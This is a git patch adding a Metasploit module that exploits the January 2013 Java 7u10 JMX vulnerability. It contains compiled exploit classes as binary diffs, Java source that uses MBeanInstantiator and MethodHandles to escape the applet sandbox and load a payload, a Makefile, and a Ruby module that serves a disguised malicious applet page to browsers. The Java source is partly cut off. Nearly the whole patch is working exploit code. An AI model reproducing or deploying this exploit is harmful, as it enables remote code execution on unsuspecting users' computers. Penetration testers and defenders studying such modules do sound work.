From 876d889d820bc30d49ad6aa9f62902316af660c1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 10 Jan 2013 20:30:43 +0100 Subject: [PATCH] added exploit for j7u10 0day --- data/exploits/j7u10_jmx/B.class | Bin 0 -> 575 bytes data/exploits/j7u10_jmx/Exploit.class | Bin 0 -> 3741 bytes external/source/exploits/j7u10_jmx/B.java | 19 +++ .../source/exploits/j7u10_jmx/Exploit.java | 73 +++++++++++ external/source/exploits/j7u10_jmx/Makefile | 18 +++ .../multi/browser/java_jre17_jmxbean.rb | 122 ++++++++++++++++++ 6 files changed, 232 insertions(+) create mode 100755 data/exploits/j7u10_jmx/B.class create mode 100755 data/exploits/j7u10_jmx/Exploit.class create mode 100755 external/source/exploits/j7u10_jmx/B.java create mode 100755 external/source/exploits/j7u10_jmx/Exploit.java create mode 100644 external/source/exploits/j7u10_jmx/Makefile create mode 100644 modules/exploits/multi/browser/java_jre17_jmxbean.rb diff --git a/data/exploits/j7u10_jmx/B.class b/data/exploits/j7u10_jmx/B.class new file mode 100755 index 0000000000000000000000000000000000000000..ff4cee08d89c073747274041de26515fdac3d425 GIT binary patch literal 575 zcmaix+fKqj5QhJOLbX=T;u+(Wg$sB9lmv)g;UU3byewryN=j>bAo4`s>Xk$jAHat) zP74t=CT5eF-G64j+1Y*nczFX*#esqZG77TD$;c}xU_(Yx#-@xdLh{(OO}{~iYvmq6 zYC8i#NOw$ITm<93aIf{g#Y)@_Y(haRcSia|uUWc1tX=j;!tm<^rRxN)AD5w-}1S z7our|AVTS9X45c)=d~T%cOAxUU=C6ve=Qm@k@TtK*#y(Yf232N=-8?|*Jh3Wqj*2+% y);M0|dT^b@r%+efuk+%OBO9``hz+PTgY=5TEh8UUpA(d*PlgFuR#L3Tkp2X^YK1xg literal 0 HcmV?d00001 diff --git a/data/exploits/j7u10_jmx/Exploit.class b/data/exploits/j7u10_jmx/Exploit.class new file mode 100755 index 0000000000000000000000000000000000000000..1fb9416e3f4debb4e51605cd255ac8d031dbe568 GIT binary patch literal 3741 zcma)9X?xqo5q_5!APAN$%94%RmVC$#DaoX*TsGvmkz_kjO38Mp%3+;0g-Do!Oae3r z%2Jx9chW0ulQ!v# zHWwTj6&Y6*xTv~YC8Js$STGiifs$bt2P}Khxnd4Xnclopc+{{9C6l2m!wu5h zAU(ksj54%kmu+v}^sGEX&qgo8h++RmeUtZ@^QL;|W&6{T}?nFJaR4F-@m*VMD@l8xJ?AwsaX~#S3 z)a=5UrMy}3EXQW(TQ`|@gyYlZW#7nk9aqJ-@NE?nc!57oGwc=imXjV|_RKN9({nYi zQu7F=X_Qrb2j8U>jHkq2RD2IFN_a`d_wfT2FXI&zKg5q1j^v$kx>~c-3+1IWWx}wl zrn_jm>Bq`TQ{yCNg*aZbN+PFF@nigi;qcw9Q}I*0O2>%g}a6(zyTGfxZ&<~!zP!!x+VNd#jkN)#mBknp)E`| z7J27o%Pvq3s-9cRdyXsNH!7aNTM~Y&;&&M3K7Y@!T^ze0<+-^9Gw-SR1OB*H4nprE zN;hxvVU9&C_V>3&p>`g2)^fd?QBpC+t$NlG2a?L;|B1Rnp32KJn}x; zgD7j*l##M&d+ETE(L2tbHcMua&alzSwsb;y=1J#WV3NwxuszG5!lb4_N!*J6o6IRW z$-6eD8%EH8w{eD(TkShQNT2a7yKF)dcd4qalp ztV!`6O|GL?Z=>N(f2gctm)^bt?QiIee{2=IbMHXAju>fHu!k%6`pP{*xhL`g`f}kF z^z*5G{#3u1>d&rXzpiTJ>;RuU=uaLHlLz7hnp(#pecK8Sui_rPL)#Yn0Et{!YtQB) zT3a?3)jG0uBtOKU-l=tlX_6#;``tr}HlPjh=)->WArXCuLTnAWYb(e{v@Q-gt|==> zai?kDX-YUvt>UQOt;MAc+lU{_=3-j++Fo{OI|vxx=ypQExLWUNnc5Y!K)#mm5gz|u zKmLe_KO*wo+YCUVJjU}+f~Q?7uhNvxQ>tqCzc3miFQE(`3KelGRK~-ht2j#tCPFph zh0MPli7T8+BlN$>SrZ>z1$#Sl3*j8qedH#hf91G|OHrEl`4tnIV-1>z2qSF_pTIBZ Nt 0 ) + bos.write( buffer, 0, length ); + // convert it to a simple byte array + buffer = bos.toByteArray(); + + JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder(); + JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null); + MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator(); + ClassLoader a = null; + Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a); + Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a); + MethodHandles.Lookup localLookup = MethodHandles.publicLookup(); + MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class }); + MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1); + MethodType localMethodType2 = MethodType.methodType(Void.TYPE); + MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 }); + Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]); + MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class }); + MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3); + MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class); + MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 }); + Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null }); + MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); + MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 }); + Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer }); + localClass3.newInstance(); + + Payload.main(null); + //Runtime.getRuntime().exec("calc.exe"); + } + catch(Throwable ex) + { + //exception.printStackTrace(); + } + } + +} diff --git a/external/source/exploits/j7u10_jmx/Makefile b/external/source/exploits/j7u10_jmx/Makefile new file mode 100644 index 0000000000..3fa70edee3 --- /dev/null +++ b/external/source/exploits/j7u10_jmx/Makefile @@ -0,0 +1,18 @@ +# rt.jar must be in the classpath! + +CLASSES = \ + Exploit.java \ + B.java + +.SUFFIXES: .java .class +.java.class: + javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java + +all: $(CLASSES:.java=.class) + +install: + mv Exploit.class ../../../../data/exploits/j7u10_jmx/ + mv B.class ../../../../data/exploits/j7u10_jmx/ + +clean: + rm -rf *.class diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean.rb b/modules/exploits/multi/browser/java_jre17_jmxbean.rb new file mode 100644 index 0000000000..b1e21a9f21 --- /dev/null +++ b/modules/exploits/multi/browser/java_jre17_jmxbean.rb @@ -0,0 +1,122 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ :javascript => false }) + + def initialize( info = {} ) + + super( update_info( info, + 'Name' => 'Java Applet JMX Remote Code Execution', + 'Description' => %q{ + This module abuses the JMX classes from a Java Applet to run arbitrary Java + code outside of the sandbox as exploited in the wild in January of 2013. The + vulnerability affects Java version 7u10 and earlier. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt', 'sinn3r', 'juan vazquez' ], + 'References' => [ + [ 'URL', 'http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html' ], + [ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/' ] + ], + 'Platform' => [ 'java', 'win', 'osx', 'linux' ], + 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + [ 'Generic (Java Payload)', + { + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA, + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86, + } + ], + [ 'Mac OS X x86 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + } + ], + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 10 2013' + )) + end + + + def setup + path = File.join(Msf::Config.install_root, "data", "exploits", "j7u10_jmx", "Exploit.class") + @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.install_root, "data", "exploits", "j7u10_jmx", "B.class") + @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + + @exploit_class_name = rand_text_alpha("Exploit".length) + @exploit_class.gsub!("Exploit", @exploit_class_name) + super + end + + def on_request_uri(cli, request) + print_status("handling request for #{request.uri}") + + case request.uri + when /\.jar$/i + jar = payload.encoded_jar + jar.add_file("#{@exploit_class_name}.class", @exploit_class) + jar.add_file("B.class", @loader_class) + metasploit_str = rand_text_alpha("metasploit".length) + payload_str = rand_text_alpha("payload".length) + jar.entries.each { |entry| + entry.name.gsub!("metasploit", metasploit_str) + entry.name.gsub!("Payload", payload_str) + entry.data = entry.data.gsub("metasploit", metasploit_str) + entry.data = entry.data.gsub("Payload", payload_str) + } + jar.build_manifest + + send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) + when /\/$/ + payload = regenerate_payload(cli) + if not payload + print_error("Failed to generate the payload.") + send_not_found(cli) + return + end + send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) + else + send_redirect(cli, get_resource() + '/', '') + end + + end + + def generate_html + html = %Q|Loading, Please Wait...| + html += %Q|

Loading, Please Wait...

| + html += %Q|| + html += %Q|| + return html + end + +end